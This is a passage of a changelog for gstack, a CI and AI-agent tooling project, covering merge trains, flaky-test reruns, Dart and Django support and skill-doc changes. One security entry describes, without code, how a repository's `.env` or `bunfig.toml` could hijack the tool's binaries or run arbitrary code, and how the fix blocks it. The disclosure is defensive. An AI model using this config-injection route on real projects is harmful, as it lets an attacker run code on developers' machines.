- **`test/setup-ps1.test.ts` PowerShell 5.1 cases (windows-setup, 2026-10-17 and 2026-10-20).** The workflow runs the file with plain `bun test`, so each case has Bun's 5 s default. The first `powershell.exe` launch on a runner pays a cold start that later launches do not. Over 94 windows-setup jobs, the first legacy launch (the space-in-TMPDIR case) took p50 1.46 s, p95 3.42 s and max 5.04 s, while the second launch (the empty-argument case) had p95 1.41 s. Both reds were that first launch killed at 5 s with exit null. A `beforeAll` now launches the legacy interpreter once on the stub checkout, with a 60 s hook budget matching the spawns' own bound. No per-test timeout changed. On Linux, a pwsh wrapper that adds 6 s to the first launch reproduces the CI symptom on main and passes with the warm-up. One that adds 6 s to every launch still fails three cases (negative control).
- **`browse/test/xvfb.test.ts` spawn → cleanup round trip (Ubicloud full run, 2026-10-18).** It picked a display from `:99-:110` and then spawned on it, inside the default range that headed daemons in parallel shards allocate from. Six default-range allocators reproduced "X display :N was reserved by another X server during startup" in 9 of 20 and 5 of 20 runs. The case now uses `:25000-:25100`, a range no other allocator uses, like the file's other private-range cases. It now fails instead of silently returning when no display is free. 30 of 30 runs pass under the same load.

## [1.91.165.0] - 2026-10-20

**The Version Gate accepts an unstamped READY head under merge trains.** Under the train policy a lane's head keeps VERSION, package.json and the agents digest at main's version and writes its CHANGELOG entry under `[Unreleased]`. The gate still demanded a bump, so every unstamped PR showed "VERSION not bumped", and `gstack-ship-queue ready` refused it with `QUEUE_NOT_READY` (#3320, #3321). That blocked every train. Plan GSTA-49, S1 for the queue.

### Fixed
- **`scripts/compare-pr-version.ts`** passes an unstamped head when the base's `.gstack/ship-policy.json` declares `train`. A head counts as unstamped (`lib/version-gate-train.ts`) when, against its merge base with main, it changes neither `VERSION`, the `package.json` version nor any release output, and its CHANGELOG change is confined to one `[Unreleased]` section at the top. An older merge base is fine, because the train merges the head onto current main and rule 14 forbids lane main merges.
- **A stamped head under a train policy must carry exactly base + bump**, the version `gstack-restamp --next` allocates when the slot is called. Without a train block the gate is unchanged.
- **`.github/workflows/version-gate.yml`** runs the gate's code from the PR's merge commit (`github.sha`) rather than its head. A PR that edits the gate runs its own edit, and an open PR picks up a gate fix from main at its next `pull_request` event. It also fetches the base with full history so the merge base resolves.

### Gate integrity
- The unstamped pass is new and applies only under a train policy. Negative controls in `test/compare-pr-version.test.ts` cover:
  - a stamped head at any version other than base + bump;
  - a changed `package.json` version or release output, which is treated as a stamp;
  - a CHANGELOG edit to a released section;
  - a second `[Unreleased]` section, or one that isn't at the top;
  - an unstamped head without a train block, which still fails hard rule 1.

## [1.91.164.0] - 2026-10-19

**Merge trains are on for gstack: `.gstack/ship-policy.json` now carries the `train` block.** READY PRs merge in trains of up to 5 (or once the oldest READY is 3 hours old) behind one full gate on the train head, instead of one full gate per PR. Plan GSTA-49, go-live after lanes T1 and T1b. Garry approved going live once one dry-run train passed.

### Changed
- **`.gstack/ship-policy.json` declares `train`** (`gate_workflow` `evals.yml`, `free_workflow` `free-tests.yml`, `full_gate_check` `gstack/full-gate`, `record_artifact` `gstack-train-record`, `max_size` 5, `fill_hours` 3, `screen_selection` `gstack-paid`, `trial_reservation_usd` 1.5) and `min_gstack_version` 1.91.146.0, which `gstack-ship-policy validate` requires alongside `train`. From this merge on, a PR push routes to `pr-summary` instead of a paid PR gate, `ready` records the screen choice, `train build` dispatches the full gate, `verify --pr <n> --train <nonce>` is the merge check, and the main backstop gates any tree no green train covered.
- **Dry-run evidence.** Train `gate.train-24672a1f5b96-b67778cdbbd3-58805a` merged two unstamped scratch docs PRs (#3313 and #3314, closed unmerged) onto a scratch base: main 85b0f531f plus this policy block plus one scratch-only `evals.yml` line that read the policy from that base. A `workflow_dispatch` reads it from the default branch, which had no `train` block yet. The real `train build` refused with `QUEUE_TRAIN_WAITING` until the 3-hour fill passed, then ran Free Tests green (run 39377354548) and dispatched one full gate (run 39377781282: `VERDICT GREEN`, rule 108/108, judge 24/24, behavior 0/0, `gstack/full-gate` success on the train head). `verify --pr 3313` printed `MERGE_CONDITION: sha=33fb98512123…`. Not exercised: the default-branch policy read itself (the scratch line replaced it), PR-push routing to `pr-summary`, a stamp at merge, a screen, a bisect and the main backstop.
- **`docs/ship-policy.md`** now says gstack's own policy carries the block, replacing "does not carry it yet".
- **`test/gstack-ship-policy.test.ts`** validates gstack's own `.gstack/ship-policy.json` and checks that its train workflows exist, so the policy file has a test lane.

## [1.91.163.0] - 2026-10-19

**A gate red on one test now reruns that test once instead of the whole gate, and a pass is green with a flaky note.** Garry, 2026-10-19 (CREW rule 16): "you can just run the failed test again and note that it is flaky... You don't have to do the whole test pass again for one failed test." Plan GSTA-49, lane F1; the #3308 reuse miss is GSTA-53.

### Added
- **In-run flaky rerun (`rerun-plan` and `eval-rerun` in `evals.yml`, `scripts/lib/paid-rerun.ts`).** After the slices, a red rule, behavior or judge case verdict reruns once at the same head in the same run attempt: a rule or judge case on its own shard (only the rerun cases count), a behavior case as its whole 3-trial panel, a judge case with its 3 samples. It runs fresh (no receipts in or out). If it passes, the gate is GREEN with a `FLAKY N` headline line and rerun spend, a `⚑` line per case in the report and PR comment, and one record per case in the run's `flake-records-a<attempt>` artifact for the daily flaky-fix pass. If it fails again, it is a real red (`FAILED TWICE`).
- **Manual `gh run rerun --failed` attempts follow the same rule.** An attempt that passes every earlier red is GREEN with the same flaky annotation. A red that first appears in a later attempt stays red unless its own next run passes, so a later attempt never hides a new red.
- **Flaky GREENs are reusable (GSTA-53).** `gate-reuse` binds a flaky GREEN with its `flaky_cases`, reads each run's newest attempt binding, and R2a and R2 reuse it with `reused_flaky` named in the log and PR comment. On #3308 (run 39315041557), both attempts bound RED because the report kept attempt 1's verdict, so the next push paid for a full gate. A run still red after its rerun binds RED and is never reused.

### Changed
- **Gate integrity (a gate edit):** harness, INFRA, INCOMPLETE and unattributed reds never rerun and are never flaky. Neither is a case already red twice, or a case whose rerun could not turn the gate green. No threshold, trial count, case kind, judge model, `EVAL_POLICY` constant or `HARNESS_VERSION` changed (recorded non-behavioral). Pass-rate history still records each run's first execution unchanged; a rerun's trials stay in its `paid-rerun-*` artifacts and the flake record. On the gate lane, a rule shard that ran to completion with a red case no longer fails its slice job. The report still fails closed on it, so the run's conclusion follows the report and a flaky GREEN run concludes `success`. Execution failures (timeouts, runner errors, hollow or unfinished shards) still fail the slice. Train gates take the same rerun path. A bisect reruns a VERDICT FAIL once on its prefix (`scripts/train-gate.ts`), and a pass there is a flaky PASS naming both runs. The PR comment's verified-summary check also bounds `flakyCollectorFailures`, so a failed collector record that is not a flaky case still fails the comment. Negative control for the slice-exit change: a case red on its first run and red again on its rerun keeps the real report CLI at exit 1 and `VERDICT RED`; `slices-report` still runs after every rerun path and its last step fails the job on reconcile exit 1, no job carries `continue-on-error`, so the run concludes `failure`; the binding is RED and `gate-reuse` refuses it; and the train record is RED, which T1 classifies RED whatever the run concluded (`test/paid-rerun.test.ts`, `test/evals-train-workflow.test.ts`).
- **Free regressions:** `test/paid-rerun.test.ts` replays a trimmed capture of run 39293281037 through the real `--report` and `--rerun-plan` CLI. Its negative controls cover red twice, harness, INCOMPLETE and checkpoint reds, a new red on a later attempt, a first-attempt pass, rerun results with a missing or mismatched manifest, and reruns of unplanned cases. `test/gate-reuse.test.ts` covers R2a and R2 reuse of a flaky GREEN, a manual-attempt binding, and a run still red after its rerun. `test/train-gate.test.ts` covers the train record and the bisect rerun. Workflow wiring tests are in `test/evals-train-workflow.test.ts` and `test/ci-paid-coordination.test.ts`.
- **Rerun artifact layout:** the first gate of this change (run 39363705692) reran its one red case and passed, but `download-artifact` unpacked the lone `rerun-plan-a1` match into the report root, over the plan's own `manifest.json`, so the report read every case as unplanned and stayed red. The plan artifact now holds `rerun-plan-a<attempt>/manifest.json`, rerun results download under `reruns/`, the rerun logs artifact is `rerun-logs-*` so it no longer matches `paid-rerun-*`, and the report finds the rerun manifest in either layout `download-artifact` produces. That run's artifacts, replayed in the new layout, report `VERDICT GREEN` with `FLAKY 1`.

## [1.91.162.0] - 2026-10-19

**The evals workflow carries merge trains: a train's own gate publishes its record and the `gstack/full-gate` check, bisects run one executor per prefix, `ready --screen` dispatches a real screen, and a main backstop gates any tree no green train covered.** All of it stays off unless the base revision's `.gstack/ship-policy.json` declares a `train` block. Without one, a PR push and every eval-bg dispatch run today's jobs and steps with today's values. The one addition is a free `route` job that reads the policy with git and jq. gstack's own policy still has no `train` block; turning it on is a separate one-line policy PR. Plan GSTA-49, lane T1b.

### Added
- **Train gate runs** (`train/<nonce>` with a train nonce): the full census runs without verdict reuse or reuse binding. The report job writes the train record (`scripts/train-gate.ts train-record`) from this run's plan manifest, one panel per planned case, plus the prefix trees modulo stamps. It uploads the record as the policy's `record_artifact`. A separate `train-check` job, with `checks: write` and no repository code, publishes `full_gate_check` as success only for a complete GREEN census whose nonce and head match the dispatch. A train nonce dispatched on main is refused before any paid work.
- **Bisect inputs `cases` and `prefix_shas`.** Case ids must be in the run's plan, and each prefix must be an ancestor of the train head on `train/<nonce>`, or the run refuses. A `train-bisect` matrix runs one executor per prefix, checks out and verifies that prefix, and uploads `<record_artifact>-bisect-<sha12>`, the name `train bisect` reads.
- **Dispatched screens** (`screen_pr`, `screen_merge_sha`, `screen_policy`): the run checks out and verifies the pinned merge commit. It waits on the PR head's Free Tests, cancels an older screen of the same PR, and comments on that PR. Verdict reuse (R2a/R2) authenticates a screen by PR number, head SHA, repository and tested base (the merge commit's first parent). It keeps every selection and newer-run veto, and lists pull_request and screen runs filtered by PR. A broad screen never adopts a narrow run.
- **`.github/workflows/evals-main-backstop.yml`** runs on every push to main, one at a time. It does nothing without a `train` block. With one, it waits until no train is merging. It runs the full gate on main only when no green train record lists main's tree modulo stamps, and writes the freeze record `gstack-ship-queue` reads. A five-PR train fires zero backstop gates.
- **The free screening summary:** under a `train` block, a PR push runs readiness and prints the screen selection and an estimated cost instead of starting paid slices.

### Changed
- **Gate integrity (train block only):** under a `train` block, PR pushes no longer start paid slices; trains, screens and the backstop gate instead. Train and bisect runs never reuse a verdict and never bind one for reuse. No threshold, trial count, case kind or selection changed.
- **Gate integrity (always, GSTA-48 P3-1):** when the readiness job blocks a PR head, a new `readiness-comment` job replaces an existing `## E2E Evals` comment with "NOT RUN on <head>", so an earlier PASS no longer stands beside a head that never ran. It posts nothing when no such comment exists. A slice killed before its upload step counts as incomplete.
- **Gate integrity, widening (`plan-design-with-ui-scope` focus detector, GStack Minder-approved):** the Step 0D focus question also counts when its title names the focus (the title ends at the first line break or before `Project/branch/task:`), its body carries the step's own rating sentence ("I('ve) rated this plan N/10 on design completeness"), and it offers at least two options, one of which starts "All 7" or "All seven" (design or review) dimensions or passes. Opus 5.5 titled the question only "Review focus" in both attempts of run 39298269902, so the detector missed it. In the second attempt the finding detector also counted the focus question as the review finding, because its one-line title names hierarchy and panels. A recognized focus question can no longer count as a finding. Free replays of both captured attempts (`test/fixtures/design-ui-focus-capture-39298269902-a1.json` and `-a2.json`, registered in the case's touchfiles) pass. Every existing negative control still fails, as do these new ones: an issue-labeled finding that carries the rating, a single-option focus question, a focus question without a leading all-7 option, and a 4/7 rating. No threshold, trial count, case kind or ceiling changed.

## [1.91.161.0] - 2026-10-19

**`gstack-pregate` works on Django, Dart and Flutter repos, and on branches that only touch assets or tool config.** Before, a Django migration, an `admin.py`, a template, a font, a vendored licence or `.pre-commit-config.yaml` stopped `/ship` with `PREGATE_NO_LANE` in a repo that had never opted in, and every touched `_test.dart` file did the same. `gstack-pregate init` now drafts a policy from the repo instead of writing a fixed example. Contributed by @arlophoenix (#3285) and @szsunyuan (#3290); reported by @dgrant (#3266, #3267, #3268, #3269).

### Fixed
- **Django files loaded by name select tests (#3266).** In a Django project (a manage.py or code importing django, plus Python code that assigns `INSTALLED_APPS` or `ROOT_URLCONF`, or a config file naming `DJANGO_SETTINGS_MODULE`), every Python test depends on the settings module; a dotted string in settings and an `include("app.urls")` argument count as imports; an app's migrations, `admin.py`, `templates/`, `static/`, `templatetags/`, `management/`, `fixtures/` and `locale/` files select that app's tests and the tests that reach its `models.py`; a project-level template selects the suite.
- **Files no test runner loads take an empty lane (#3267).** Images, fonts, media and PDFs (outside snapshot, golden and fixture trees) and allowlisted tool config (`.pre-commit-config.yaml`, `.editorconfig`, lint and format config, `.vscode/`, `.idea/`, `.impeccable/`, GitHub issue templates and CODEOWNERS) print `no-tests (assets and tool config)`, and licence text under any vendored name (`roboto-LICENSE.txt`, `LICENSE-MIT`) is documentation, when no test names the file. Stylesheets, unknown dotfiles (`.rspec`, `.husky/` hooks), CI workflows, `.gstack/`, `.env*` and version pins still need a lane, and so does unmapped code.
- **Dart and Flutter lanes (#3285, @arlophoenix).** The import graph reads `import`/`export`/`part` directives and resolves `package:` URIs through every tracked `pubspec.yaml`. `lanes` runs each package's tests from its own root with `flutter test` or `dart test`, through fvm when the package pins it. flutter, dart, melos and very_good CI jobs are lanes, and a run step's test paths resolve against its `working-directory` and literal `cd`. A missing Dart SDK or a `.dart` file outside any package is `incomplete`, never a pass; device tests are not unit lanes.
- **`--base <sha>` gets a branch suggestion, not an impossible fetch (#3269, #3290, @szsunyuan).**

### Changed
- **`gstack-pregate init` drafts from the repo (#3268).** It prints the languages it found and the runner each language's tests get, maps each file the import graph cannot place to the tests of the nearest directory above it, and lists the rest as `TODO` (as it does past the 256-entry schema limit). It never writes `[]`, which would clear a file without a test.
- **Review fixes on the Dart port.** A `cd` inside a pipeline, an alternative, a background job, shell control flow, a command substitution or a redirected subshell now leaves a CI lane's test set unknown (it may run any test) instead of resolving later paths against the wrong directory, which could drop a platform obligation. Dart directives are read to their `;` whatever the line indentation, metadata before a directive and semicolons inside a URI are handled, and nested block comments are skipped, so an unindented conditional import or a long `show` list no longer loses its edges.
- **Gate integrity:** new free regressions in `test/pregate-non-js.test.ts` (Django, assets and licence, init, and the two review fixes, each with a negative control) and `test/pregate-dart.test.ts`. Each new positive case fails on the tree before this change. No existing test, threshold, trial count or case kind changed; `test/helpers/pregate-fixture.ts` only reports more about a failed git spawn. `test/pregate-dart.test.ts` and `test/pregate-non-js.test.ts` join the other pregate fixture files in `scripts/lib/windows-curation.ts`'s known-incompatible list: the Dart stand-ins are bash scripts on a colon-joined PATH, and the bin cases expect the Linux-host lanes verdict.

## [1.91.160.0] - 2026-10-19

**Dart and Flutter projects get the right reviewers and the right test command.** A Dart change matched no diff-scope category except its test file, so a Flutter widget PR ran only the testing pass and skipped design, performance and security. Contributed by @arlophoenix (#3284).

### Fixed
- **`gstack-diff-scope` counts `.dart` as both frontend and backend.** The extension cannot tell a Flutter widget from a repository class or a pure-Dart server, and a skipped reviewer is invisible, so both specialists run. `pubspec.lock` (at the root or in a workspace package) is config. `lib/frontend-scope.ts` mirrors the frontend half, and `gstack-design-detect` still never hands a `.dart` file to the impeccable engine, which reads web sources only.
- **Test detection knows Dart.** `/ship`'s bootstrap and coverage audit, `/design-review` and `/plan-eng-review` print `RUNTIME:dart` for a `pubspec.yaml` and `FRAMEWORK:flutter` for an indented `sdk: flutter` dependency (a commented-out one or an `environment.sdk` constraint does not count). They treat `dart_test.yaml` and `*_test.dart` files anywhere as existing tests and offer `flutter test` or `dart test`. Review-army reports `STACK: dart` and `TEST_FW: dart-test` or `flutter-test`.
- **Adversarial `DIFF_SIZE` sums `git diff --numstat`,** the same count review-army's `DIFF_LINES` uses, instead of parsing the `--stat` summary line. Binary files count as zero.

### Changed
- The test-bootstrap prose is shorter so the generated skills stay inside the parity size cap and `/design-review` stays at its SKILL.md size pin. The rules it states are unchanged. `/design-review`, `/plan-eng-review` and `/review` shrink, so their pins in `test/fixtures/skill-md-size-allowlist.json` go down (31 entries).
- `test/frontend-scope.test.ts`'s bash parity test gets a 30 s budget. It spawns git six times and the scope script once per sample, and it already ran past Bun's 5 s default on a 4-core machine before this change.

## [1.91.159.0] - 2026-10-19

**Security: the repository gstack runs in can no longer configure gstack's own programs.** Bun loads `.env`, `.env.local` and `.env.<NODE_ENV>` from the directory it starts in. It also runs any `preload` that a `bunfig.toml` there names, before the program's first line. gstack runs inside the repository it audits, so a committed or branch `.env` could set `GSTACK_STATE_ROOT`, `GSTACK_PROJECT_SLUG`, `GSTACK_CLAUDE_BIN` (an attacker-chosen binary then ran as "claude"), `GSTACK_SPEND_CAP_USD` or a provider base URL for every gstack bin, hook and skill step. A `bunfig.toml` preload ran arbitrary code in all of them. Every Bun that gstack starts now passes `--no-env-file` and an empty `--config`. Your shell environment works exactly as before. Found in review by GSTA-54.

### Security
- **Every bun entry point starts isolated:** all 123 bun shebangs are now `#!/usr/bin/env -S bun --no-env-file --config=/dev/null`. `bun run <file>` ignores the shebang, so the callers carry the flags too: skill templates, generated skill docs, resolvers, hook wrappers, `setup` and the bash bins pass `bun --no-env-file --config=/dev/null` for every `run`, `-e`, `-p` and script path.
- **TypeScript spawns use `bunIsolationArgs()`** from `lib/bun-isolation.ts`, which follows browse's `emptyBunConfig()`. This covers `scriptInvocation` (how TypeScript launches gstack's own bins), restamp, qa-deadline, the timeline hook's repair child, gbrain sync's ingest child, the agents-digest regen and the Claude Code migration. Native Windows has no `/dev/null`, so there the helper passes a zero-byte bunfig in a fixed directory under the per-user temp root. It is never removed, because the timeline hook's detached repair child reads it after the hook exits. Under Git Bash, MSYS rewrites the shebang's `/dev/null` to `nul`, which Bun 1.4.2 reads as an empty config. A windows-latest run verified both.
- **Compiled builds:** `build:gates` and `scripts/build-app.sh` now pass `--no-compile-autoload-dotenv --no-compile-autoload-bunfig`, as `scripts/build.sh` already did. Without them, compiled binaries load both files.
- **A ratchet and regressions:**
  - `test/bun-entry-isolation.test.ts` fails on any bun shebang, shell or skill caller, TypeScript spawn or `build --compile` that drops the flags.
  - `test/bun-dotenv-isolation.test.ts` runs the real bins in a fixture repo with a hostile `.env`, `.env.local` and `bunfig.toml`. The state root, slug, claude binary and pregate spend cap still come from the shell.
  - `test/bun-isolation-launch.test.ts` runs the shebang, bash and TypeScript launch forms on every free lane, Windows included.

### Changed
- **`gstack-evidence run` no longer scrubs dotenv values from the child environment,** and `GSTACK_EVIDENCE_KEEP_DOTENV` is gone. Bun no longer loads those values into the wrapper, so the child sees your shell's environment, as it would if you ran the command by hand. The old value-equality scrub (#2652, @namtrok) also dropped shell-exported variables whose value matched the file.
- **Raised SKILL.md size pins:** 80 pins in `test/fixtures/skill-md-size-allowlist.json` grew by 33 to 330 characters each, from the isolation flags alone (8,253 characters in total).
- **Directly executed `./scripts/*.ts` files no longer read gstack's own `.env`.** `bun run <script>` and the package scripts (`bun run test`, `bun run eval:bg:pr`) still load it.

### If you…
- **…add a bin or a hook:** start it with the isolated shebang, and pass `bun --no-env-file --config=/dev/null` (or `bunIsolationArgs()` in TypeScript) wherever you start Bun. If you don't, the ratchet names the line.
- **…relied on a repo `.env` to configure gstack:** export the variable in your shell or set it with `gstack-config`.

## [1.91.158.0] - 2026-10-19

**`gstack-config set plan_mode_preamble off` leaves the plan-mode preamble out of every installed skill, for people who never use plan mode.** The "Plan Mode Safe Operations" and "Skill Invocation During Plan Mode" sections add about 1.6 KB to each of 50 Claude skills. With the key off, the next `./setup` renders every host's skills with `gen-skill-docs --plan-mode=off`, and the default Claude install serves that render instead of the committed files. The default is on, and with it on every render and the committed SKILL.md files are byte-for-byte unchanged.

### Added
- **`gen-skill-docs --plan-mode=off`** drops the two sections at generation time. Commands marked "PLAN MODE EXCEPTION — ALWAYS RUN" keep their marker. Hosts whose capabilities declare no plan mode already render the sections empty, so in practice the flag matters for Claude, Copilot and OpenCode. Fixes #3168. From #3213 by @xingzihai, finished with the config wiring.
- **The `plan_mode_preamble` config key** (`on` | `off`, default `on`). It is a closed domain like `explain_level`: an unknown value warns and stores `on`. Setting it outside `./setup` says it applies on the next setup run and prints the `./setup --refresh-registered` command that applies it now.
- **Every installed render carries the choice:** all 16 `gen:skill-docs` call sites in `setup`, the Claude render helper, `gstack-config gbrain-refresh`, and the router that `gstack-relink` re-renders in place (as it already does for `disabled_skills`). When setup has to build, `scripts/build.sh` renders Factory, OpenCode, Cursor, Copilot and Antigravity without the flag, so with the key off setup renders those hosts again afterwards.
- **The default Claude install gets a render when the key is off.** Without a working gbrain (absent, or the detector failed), `gstack_claude_render_action` returns `plain` instead of serving the committed files; with gbrain the brain-aware render already runs and now carries the flag too. The activation record (`~/.gstack/render/claude.overlay`) gains `plan_mode=off`. Turning the key back on removes that render on the next setup when gbrain is absent or its detector fails (a failed detector otherwise keeps a render), and re-renders the brain-aware render with the sections when gbrain is present. A failed render with the key off keeps the previous render. Records written with the key on are unchanged.

### Fixed
- **`gstack-relink` refreshes the `_gstack-command` router alias after it re-renders the router.** It used to copy the router before the re-render, so the alias kept the previous router (with `disabled_skills`, the full skill list) until the next relink.

### Changed
- **Gate integrity:** new tests `test/plan-mode-off-build.test.ts` (from #3213, unchanged), `test/plan-mode-off-generation.test.ts`, `test/plan-mode-preamble-config.test.ts`, `test/plan-mode-preamble-render.test.ts` and `test/plan-mode-preamble-setup.test.ts`. No existing test was edited, and no threshold, trial count, case kind or judge changed.

## [1.91.157.0] - 2026-10-19

**Claude SKILL.md files no longer carry a "When to invoke" body section, which saves about 20 KB across 56 skills.** Claude Code reads a skill's body only after the skill is invoked, so routing prose there never routed anything. Routing still comes from the catalog description and the CLAUDE.md routing block, and voice triggers move into the root router's routing block. From #3129 by @thanhnguyentung95.

### Changed
- **Catalog trim (`scripts/gen-skill-docs.ts`):** the Claude render keeps the one-line catalog description and no longer inserts the routing and voice-trigger prose into the body. `--catalog-mode=full` and the other hosts are unchanged: they keep the full description.
- **Voice triggers in the root router:** a new `{{VOICE_TRIGGER_ROUTING}}` resolver (`scripts/resolvers/voice-triggers.ts`) adds one `- Voice trigger "…" → invoke /<skill>` line per skill to the root `SKILL.md` routing block, Claude only. That's 21 lines, and the root router's eager ceiling rises from 4289 to 4821 tokens.
- **Context budget:** 54 per-skill eager ceilings go down (net −5,139 tokens). The `claude/design-review` size pin drops by 437 chars, and the claude ship golden is refreshed.
- **Gate integrity:** the tests that pinned the removed section now assert its absence, or check the template description instead:
  - `test/catalog-trim.test.ts` (the three `buildWhenToInvokeSection` tests go with the function);
  - `test/catalog-mode-full.test.ts` and `test/cso-preserved.test.ts`;
  - `test/gen-skill-docs.test.ts` (the benchmark routing and CSO voice tests read the template);
  - `test/skill-validation.test.ts` (trigger and proactive phrases are checked in `SKILL.md.tmpl`);
  - `test/helpers/parity-harness.ts` (no `## When to invoke` heading required);
  - `test/helpers/skill-fixture.ts` and `test/skill-e2e-retro.test.ts` (the section is dropped from the review, review-army and retro E2E section lists). `scripts/harness-version.json` records the `skill-fixture.ts` change as non-behavioral: `HARNESS_VERSION` stays 6, and the regenerated SKILL.md bytes already start those cases' new series.
  - `test/helpers/manual-judge-review-fixture.ts` puts the removed section back when it rebuilds the historical cookie-workflow approval, so the approved prompt hash and line range still match. The approval itself is unchanged.

  One new free test checks that the root router routes every voice trigger, and it skips the `connect-chrome` alias symlink. No threshold, trial count, case kind or judge changed. No context-budget ceiling rose except the root router's.

## [1.91.156.0] - 2026-10-19

**The weekly marathon's office-hours case can run its review formatter again, and its validator now checks cap fixes the way the formatter does.** Both defects came from #3164 and were in the test, not the skill. The marathon fixture copied `bin/gstack-office-hours-review` with a hand-kept list of two library files; #3164 added a third import (`lib/spec-review-cap.ts`), so every formatter command in the fixture failed at module load, the agent correctly declared the review UNREVIEWED, and the case went red in marathon run 39032308051 (#3246). With the module restored, a focused rerun showed the second defect: when the review stops at the round cap and the agent applies the remaining blocking fixes with `--fixes`, the formatter records them as verified, but the test never gave the validator that list, so it expected "fixes unconfirmed" and rejected a correct report.

### Fixed
- **Office-hours cap fixes:** `observedSpecFixes()` in `test/helpers/office-hours-completion.ts` returns the last valid `--fixes` list the agent saved with Write, and the marathon test passes it to `validateOfficeHoursReviewArtifacts`. A free test in `test/office-hours-completion.test.ts` runs the real `finalize --fixes` at the cap and checks three cases: the observed list validates, no list fails with the marathon rerun's `Spec Review does not match` error, and a list naming a different finding also fails.
- **Office-hours marathon fixture:** `test/helpers/office-hours-formatter-fixture.ts` copies the formatter together with every local module it imports, so a new import can no longer be left out. A free test in `test/office-hours-review.test.ts` loads the copied formatter and fails on a missing module; the old three-file list reproduces the exact `Cannot find module '../lib/spec-review-cap.ts'` error. The case's touchfiles now include `lib/spec-review-cap.ts` and the new helper.
- **Gate integrity:** no threshold, trial count, case kind or judge changed. The marathon assertions are unchanged; only the fixture's file copy changed.

## [1.91.155.0] - 2026-10-19

**A busy page no longer locks up the browse daemon.** When one tab kept its main thread busy (a heavy dev bundle, a big grid render, a runaway script), every `browse` command, including `status`, `tabs`, `tab <id>`, `closetab` and `stop`, failed with "Daemon busy" after about 9.6 s, and the only way out was `--force-restart`, which threw away cookies, tabs and logins. Fixes #3247. From #3250 by @AndreIntelas.

### Fixed
- **`/health` `status` reports daemon liveness (Chromium connected)**, and the active tab's responsiveness is reported separately as `activeTab: {id, responsive}`. The CLI no longer gates every command on a 2 s `page.evaluate` race against the active tab.
- **`tabs` and `state save` bound their per-tab reads**, so a stuck tab shows as `(not responding)` instead of hanging the command, and one pending probe is shared per stuck tab rather than one per poll. A busy tab keeps its last good storage in saved state.
- **A command that really needs the stuck tab times out with an error naming that tab** and how to get out (switch tabs or close it). The CLI's timeout branch now matches Bun's `TimeoutError`; the old `AbortError` check never fired.

### Changed
- **Gate integrity:** `browse/test/terminal-agent.test.ts` adds `activeTab` to the exact `/health` keys and updates its stub for the now-synchronous `isHealthy` and the new `probeActiveTab`; its no-token assertions are unchanged. `browse/test/busy-active-tab.test.ts` and `browse/test/command-timeout-report.test.ts` are new. No threshold, trial count or case kind changed.

## [1.91.154.0] - 2026-10-19

**/cso can verify Rails repairs in a read-only checkout, its retained Git history no longer brings back credential files the snapshot leaves out, a repair whose external assertions fail is now reported as `ASSERTION_FAILED` instead of a misleading `INCOMPATIBLE_INPUT`, and a security assertion can accept several safe rejection statuses while still requiring the secret to be absent.** The helper keeps `.env`, `master.key`, keys and agent configuration out of the readable tree, but `history.txt` captured `git log -p` in full, so a committed `.env` came back through its diff whenever the value wasn't credential-shaped enough for the redactor. Paid qualification run 39186328569 caught this when the private corpus's planted `.env` value showed up in the judge's helper state.

### Fixed
- **Rails `verify` on read-only sources:** the helper writes its own test `config/database.yml` (plus an initializer and `storage.yml`) into the execution copy. The copy keeps the source's file modes, so in a read-only checkout (the eval producer seals every source file at 0444, and Nix or Bazel trees are the same) the write failed with `EACCES`. That surfaced as the generic `INVALID_SCHEMA` "unexpected or unsafe input", and no Rails repair could reach `runtime_tested`. Each helper file now replaces the copied file instead of opening it for writing, so it also never writes through a copied symlink.
- **`history.txt`:** every diff section that touches a path the snapshot excludes (`exclusion()`, the same rule the readable tree uses) is replaced with `diff withheld: <path> (<reason>)`. This covers either side of a rename and any diff header that can't be parsed. Commit preambles and other files' diffs stay.
- **`verify` with an authenticated witness:** a receipt or observation mismatch is still `INCOMPATIBLE_INPUT`. Receipts that bind correctly but record failed external assertions now raise `ASSERTION_FAILED`, with the phase and the booted, legitimate and security outcome. Nothing new is certified either way. In run 39186328569, three repairs that rejected the attack with a different status than the oracle expected surfaced as `INCOMPATIBLE_INPUT`.

### Changed
- **A security assertion's `expected.status` may list up to eight safe statuses** (for example `[403, 404]`), so a repair that refuses an attack with a different reasonable rejection still passes. A set is accepted only on a security assertion that also carries a `vulnerable` expectation, and only with `excludes` set, so the response must still withhold the vulnerable marker. The fixed and vulnerable oracles must stay provably mutually exclusive: a set that contains the vulnerable status is accepted only when the vulnerable response's `includes` contains the excluded marker. Legitimate controls and `vulnerable` expectations still take exactly one status, so a patch that answers every route with 403 still fails its controls. A no-op patch, a listed rejection that still leaks the marker, and an unlisted status all stay `inconclusive`.

## [1.91.153.0] - 2026-10-19

**An outside review whose findings are untagged prose no longer reads `clean` because a "no issues" phrase appears somewhere in it, and a clean Codex review that says "no actionable regressions" no longer reads `unverified`.** Reported in #3294 by @SchizasNik, with the false-pass half pointed out by @xg-gh-25. `lib/outside-review-result.ts` matched its no-findings vocabulary anywhere in the reply, so "The parser change has no new issues. However, … drops users_email_idx" passed /ship's structured gate. It also lacked `regressions`, so `codex review --uncommitted`'s "I found no actionable regressions in the staged, unstaged, or untracked changes." was missing coverage.

### Fixed
- **A no-findings statement counts only as the review's conclusion.** It must open the reply's last sentence or last ", and" clause (or the `because` clause of a review's `Recommendation:` line) and carry no contrast or exception ("but", "however", "except", "other than", "elsewhere"). When other prose comes first, anything after the statement other than a predicate ("were found", "is evident") or a colon explanation must scope it to the change as a whole, so "No issues in the parser." and "No regressions were found by the existing tests." do not conclude the review. Anything else stays `unverified` / `untagged_review`, the same reason code and troubleshooting anchor as before.
- **`regressions` and `defects` join the vocabulary**, and `NO_FINDINGS` written as inline code still counts.

### Gate integrity
- The structured and review gates' no-findings check (`classifyOutsideReview`) is stricter about position and wider in vocabulary. New free regressions in `test/outside-review-result.test.ts` cover the reporter's exact reply through their CLI invocation, two clean `codex review --uncommitted` replies captured from codex-cli 0.160.0 with gpt-6-sol (both read `unverified` before), fifteen mixed replies that must stay `unverified` under both gates (the two strings from the issue, the phrase before, after and inside untagged findings, exception conclusions, conclusions scoped to one place or to the tests, a quoted `NO_FINDINGS`, a no-issues line inside a code fence), and Recommendation-clause cases including a wrapped clause with "but". A GPT-6.1 Sol outside review probed the classifier; its false passes are among those controls. A known residual, unchanged from before: untagged findings followed by "No issues found in the changed parser." still read `clean`, because "changed" names the change and the parser cannot tell a finding from a summary without tags. All four new tests fail on the previous classifier. Every existing negative control passes unchanged, including the stored Codex clean review that still reads `unverified` ("no actionable correctness issues"). No threshold, trial count or case kind changed.

## [1.91.152.0] - 2026-10-19

